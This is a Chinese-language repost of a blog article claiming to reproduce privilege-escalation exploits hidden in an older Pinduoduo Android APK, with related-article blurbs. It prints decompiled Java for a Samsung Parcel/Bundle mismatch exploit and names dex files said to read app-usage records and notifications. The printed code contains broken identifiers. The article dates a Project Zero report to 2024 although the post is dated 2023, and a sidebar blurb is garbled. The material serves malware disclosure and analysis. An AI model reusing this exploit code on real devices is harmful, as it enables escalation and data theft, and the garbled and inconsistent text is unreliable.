拼多多apk利用漏洞牟利复现

神明 • 2023年12月17日上午2:51 • 产品运营 • 阅读 229

拼多多apk利用漏洞牟利复现

2024 年，Google 的 Project Zero 发布了一个在野漏洞利用的分析，警告攻击者已经瞄准各手📱机厂商的 OEM 代码部分，挖掘出其中的脆弱点和漏洞，组合出了一套完整的提权攻击 Exploit。

根据漏洞描述，发现拼多多内部一直在持续挖掘新的安卓 OEM 相关漏洞，在其公开发布的 App 中实现对目前市场主流手📱机系统的漏洞攻击。

最终，该互联网厂商通过上述一系列隐蔽的黑客技术手段，在其合法 App 的背后，达到了：

隐蔽安装，提升装机量
伪造提升 DAU/MAU
用户无法卸载
攻击竞争对手 App
窃取用户隐私数据
逃避隐私合规监管

等各种涉嫌违规违法目的。

目前，已有大量终端用户在多个社交上投诉反馈：该 App 存在莫名安装、泄漏隐私、无法卸载等问题。

复现流程如下：
下载 3 月 5 日前更新的（6.50 版本前）的拼多多 apk，如 6.49 版本：
com-xunmeng-pinduoduo.en.uptodown.com/android/dow…

解压 apk 文件，找到拼多多 apk 中，提权代码所在的文件位置：
pinduoduo-6-49-0.zipassetscomponentcom.xunmeng.pinduoduo.AliveBaseAbility.7zcom.xunmeng.pinduoduo.AliveBaseAbilityvmp_srcmw1.bin

以上是一个加 VMP 壳的 dex 文件，脱壳还原出代码，可以找到针对不同手📱机厂商系统的多个用于提权的漏洞利用代码，胆子相当的大，比如利用三星手📱机 “com.samsung.android.cepproxyks.CertByte” 的提权漏洞，代码如下：

// assets/component/com.xunmeng.pinduoduo.AliveBaseAbilitiy
// [Manwei]
// com/xunmeng/pinduoduo/android_pull_ablity_comp/pullstartup/SamsungAlivePullStartup 

Public static Bundle makeBundleForSamsungSinceP(Intent intent){
   Bundle bundle = new Bundle();
   Parcel obtain = Parcel.obtain();
   Parcel obtain2 = Parcel.obtain();
   Parcel obtain3 = Parcel.obtain();
   obtain2.writeInt(3);
   obtain2.writeInt(13);
   obtain2.writeInt(72);
   obtain2.writeInt(3);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(4);
   obtain2.writeString("com.samsung.android.cepproxyks.CertByte");
   obtain2.writeInt(0);
   byte b[] = new byte[0];
   obtain2.writeByteArray(b);
   obtain2.writeInt(0);
   obtain2.writeInt(13);
   obtain2.writeInt(72);
   obtain2.writeInt(53);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(1);
   obtain2.writeInt(1);
   obtain2.writeInt(13);
   obtain2.writeInt(72);
   obtain2.writeInt(48);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(13);
   obtain2.writeInt(-1);
   int dataPosition = obtain2.dataPosition();
   obtain2.writeString("intent");
   obtain2.writeInt(4);
   obtain2.writeString("android.content.Intent");
   obtain2.writeToParcel(obtain3, 0);
   obtain2.appendFrom(obtain3, 0, obtain3.dataSize());
   int dataPosition2 = obtain2.dataPosition();
   obtain2.setDataPosition(dataPosition2 - 4);
   obtain2.writeInit(dataPosition2 -dataPosition);
   obtain2.setdataPosition(dataPosition2);
   int dataSize = obtain2.dataSize();
   obtain.writeInt(dataSize);
   obtain.writeInt(1279544898);
   obtain.appendFrom(obtain2, 0, dataSize);
   obtain.setDataPosition(0);
   bundle.readFromParcel(obtain);
   return bundle;
}


复制代码

提权后，就开始瞎搞了，动态下发 dex，开始给自己保活，防卸载，然后搞数据，这部分代码比较通俗易懂，比如：
1a68d982e02fc22b464693a06f528fac.dex 读取用户手📱机上的 app 使用记录
95cd95ab4d694ad8bdf49f07e3599fb3.dex 读取用户手📱机的应用通知，这一波各大公司 app 全灭了吧？

自己去 dex 目录看吧。

作者：Captaincc
链接：https://juejin.cn/post/7215406202891714615
来源：稀土掘金
著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。

本文内容由互联网用户自发贡献，该文观点仅代表作者本人。商机网仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容，请发送邮件至 tenspace2022@163.com 举报，一经查实，本站将立刻删除。本文链接：https://www.315965.com/n/54498.html 聚才发母婴好物

、

神明

0 0

GPT-4风口来临！20个你可以起飞的姿势

上一篇 2023年12月17日上午2:45

《如何超过大多数人》——陈皓（左耳朵耗子）

下一篇 2023年12月17日上午2:56

产品运营

游戏、时尚、音乐：跨行业的元宇宙源代码

“一起进去。” 大流行初期的这句话——当时封锁和限制加速了个人和品牌对元宇宙的采用——真正定义了技术所带来的沉浸式体验的核心。探索虚拟世界不仅仅是进入——甚至是建立——你自己的世界；这是关于与他人实时分享这种体验。以化身的形式进入异界的人，不仅仅是在玩电脑程序，而是在玩电脑程序。他们在同一个虚拟空间中与其他人互动。这种能力使分散在全球各地的许多玩家…

神明
2024年1月14日
155
产品运营

微众银行产品运营主要做什么

vx上微众银行是什么情况 vx支付里面有微众银行卡。用户可以开六世形诗获金践屋只美通微众银行账户，使用微众银行的账户进行理财交易等业务。微众银行是由腾讯投资设立的互联网银行，有营业执照即可申请贷款。微众银行的主要股研海分独约更安样东腾讯，vx腾讯值旗下的通讯工具可以说它们关林建球药欢面连系是很密切的。微众银行可以用vx账户登陆并且vx账户开通微众极古西始饭天…

神明
2023年12月26日
133
产品运营

运营抖音短视频的方向是什么，这三点一定要记住

短视频作为当下最火爆的项目，抖音已经成为很多企业和文化博主的主要根据地。目前有不少企业都把抖音短视频的运营当做了主场;但是随着短视频的发展，抖音早已经过了当初那个“野蛮生长”的时代了。当然现在入伙也不算晚，想要从在抖音短视频领域占据一席之地，遵循一定的抖音规则还是可以运营的很号。想要做好抖音号，定位、养号、找到对标账号这三点要进行掌握，接下来就来看看这三点的…

神明
2023年12月23日
148
产品运营

6000字干货！可用性在B端设计中的实战应用

一、可用性测试基本概念我们先看看国外体验设计专家 Jeffrey Rubin 和 Dana Chisnell 在《Handbook of Usability Testing》书中关于可用性测试（Usability testing）的定义：说明：典型用户即是指真正使⽤产品的⽤户、潜在⽤户或者意向⽤户等。产品设计开发出来是给典型用户使用的，只有通过典型用户的…

神明
2023年12月16日
165
产品运营

五大直播带货主播被点名，李佳琦小杨哥虚假宣传舆情突出

多名主播因直播带货消费维权舆情过多，被多机构重点关注。据北京日报消息，4月24日，消费者网、对外经济贸易大学消费者保护法研究中心、北京阳光消费大数据研究院等机构发布了《直播带货消费维权舆情分析报告》。在对14位头为主播直播带货消费维权舆情数据进行分析后发现，疯狂小杨哥、李佳琦、刘畊宏、罗永浩、辛巴这5位主播的相关舆情占比超过九成。其中，疯狂小杨哥和李佳琦…

神明
2023年12月22日
131
产品运营

抖音发什么作品涨粉快（抖音做什么类型涨粉快）

最近抖音上有哪些爆款视频?又有哪些行业涨粉迅速? 飞瓜数据统计了11月15日-11月21日的抖音涨粉榜：苏炳添、张同学、可爱屁位列榜单前3.上周共有10个账号一周涨粉量超过百万。一起来看看上周都有什么涨粉技巧值得借鉴学习吧! 1周涨粉217w涨粉率高达85% 乡村生活题材的爆款视频一直层出不穷，上周生活类播主张同学凭借6条视频，一周涨粉217.8w…

神明
2023年7月29日
214
产品运营

网络用语kpi是什么意思绩效是指提成吗（kpi达成是什么意思）

KPI是我们在职场中经常会用到的一个词，那它具体是什么意思呢？它是英语单词Key Performance Indicator的首字母缩写，通常被翻译成关键绩效指标。关于这个词的权威解释，MBA智库和百度百科是这么说的：通过对组织内部流程的输入端、输出端的关键参数进行设置、取样、计算、分析，衡量流程绩效的一种目标式量化管理指标，是把企业的战略目标分解为可操…

神明
2023年8月6日
476
产品运营

淘宝客怎么拉新用户（淘宝客拉新怎么操作）

引流也可以叫吸粉或者拉新，每个人的叫法不一样，无论哪个行业，都是需要新客户的。淘客的话很多人喜欢称之为拉新。只有持续不断的新用户，淘客才可以赚钱。但是持续且优质的流量就难了。对于淘客来说，真实精准的流量是很重要的。而拉新的关键就是目标人群看到你的内容，然后让他们有点击或者加你的欲望。而其中最关键的就是传播者，媒介以及接收者这三个方面。也就是商家/个人，、目…

神明
2023年8月3日
190
产品运营

抖音特殊类目有哪些抖音特殊类目报白流程

我们今天要讲的是怎么去开通抖音小店的那些特殊类目。但在此之前我们要知道。抖音特殊类目有哪些？让我们赶紧一起来看看吧。感兴趣的朋友也可以借鉴参考一下。抖音特殊类目有哪些食品饮料，酒,时尚饰品,内衣,珠宝文玩,本地生活保健品,二手品,陶瓷,茶叶,字画,3c电子等等,这些类目都属于特殊类目,都是要经过报白才能上架。特殊类目在抖音上面都是定向招商的。没有经过报…

神明
2023年12月25日
164
产品运营

2023全新运营具体工作内容,通用范文.doc

分公司2023工作计划5篇分公司2023工作计划篇1 为使公司能有计划地开展各项内外工作，做到有条不紊，特制定本年度工作计划。一、xxxx年度工作的指导思想坚定不移地贯彻执行党在物业管理方面的政策、法规、着力抓好公司的内外部管理，积极参与“同建同治”，创建文明和谐小区，打造物业小区亮点，坚持“文明、和谐、健康、发展”的小区建设理念，谋求公司的长足发展。…

神明
2023年12月27日
117

拼多多apk利用漏洞牟利复现

相关推荐